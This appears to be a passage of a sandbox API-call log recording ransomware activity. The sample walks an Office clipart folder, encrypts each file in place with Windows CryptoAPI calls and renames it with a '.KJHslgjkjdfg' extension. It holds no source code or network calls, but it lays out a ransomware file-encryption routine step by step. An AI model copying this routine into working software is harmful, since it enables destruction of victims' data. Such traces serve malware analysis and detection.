[0231.999] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0231.999] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.999] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0231.999] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.999] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.999] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.999] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.999] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.000] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.000] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb12, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb12, lpOverlapped=0x0) returned 1 [0232.000] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb20, dwBufLen=0xb20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb20) returned 1 [0232.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.000] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb20, lpOverlapped=0x0) returned 1 [0232.000] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.000] SetEndOfFile (hFile=0x130) returned 1 [0232.002] GetProcessHeap () returned 0x2ef0000 [0232.003] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0232.003] GetProcessHeap () returned 0x2ef0000 [0232.003] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.kjhslgjkjdfg")) returned 1 [0232.004] CloseHandle (hObject=0x130) returned 1 [0232.004] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0232.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.007] GetProcessHeap () returned 0x2ef0000 [0232.007] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.007] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.007] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.009] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.009] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.009] GetProcessHeap () returned 0x2ef0000 [0232.009] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.009] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.009] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.009] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.009] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.010] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.010] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.010] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.010] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.010] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.010] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6ec, lpOverlapped=0x0) returned 1 [0232.010] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f0) returned 1 [0232.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.010] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6f0, lpOverlapped=0x0) returned 1 [0232.010] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.010] SetEndOfFile (hFile=0x130) returned 1 [0232.013] GetProcessHeap () returned 0x2ef0000 [0232.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.013] GetProcessHeap () returned 0x2ef0000 [0232.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.kjhslgjkjdfg")) returned 1 [0232.015] CloseHandle (hObject=0x130) returned 1 [0232.015] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0232.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.016] GetProcessHeap () returned 0x2ef0000 [0232.016] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.016] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.016] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0232.021] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.021] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.021] GetProcessHeap () returned 0x2ef0000 [0232.021] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.021] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.021] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.021] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.021] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.021] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.021] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.021] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.021] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.021] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.022] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd16, lpOverlapped=0x0) returned 1 [0232.022] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd20, dwBufLen=0xd20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd20) returned 1 [0232.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.022] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd20, lpOverlapped=0x0) returned 1 [0232.022] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.022] SetEndOfFile (hFile=0x130) returned 1 [0232.025] GetProcessHeap () returned 0x2ef0000 [0232.025] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.025] GetProcessHeap () returned 0x2ef0000 [0232.026] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.kjhslgjkjdfg")) returned 1 [0232.027] CloseHandle (hObject=0x130) returned 1 [0232.027] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0232.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.029] GetProcessHeap () returned 0x2ef0000 [0232.029] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.029] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.029] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0232.031] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.031] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.031] GetProcessHeap () returned 0x2ef0000 [0232.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.031] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.031] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.031] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.031] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.031] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.031] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.032] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.032] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.032] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.032] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x175f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x175f, lpOverlapped=0x0) returned 1 [0232.033] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760, dwBufLen=0x1760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760) returned 1 [0232.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.033] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1760, lpOverlapped=0x0) returned 1 [0232.033] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.033] SetEndOfFile (hFile=0x130) returned 1 [0232.036] GetProcessHeap () returned 0x2ef0000 [0232.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.036] GetProcessHeap () returned 0x2ef0000 [0232.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.kjhslgjkjdfg")) returned 1 [0232.038] CloseHandle (hObject=0x130) returned 1 [0232.038] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0232.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.040] GetProcessHeap () returned 0x2ef0000 [0232.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.040] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.040] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0232.042] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.042] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.042] GetProcessHeap () returned 0x2ef0000 [0232.042] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.042] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.042] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.043] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, 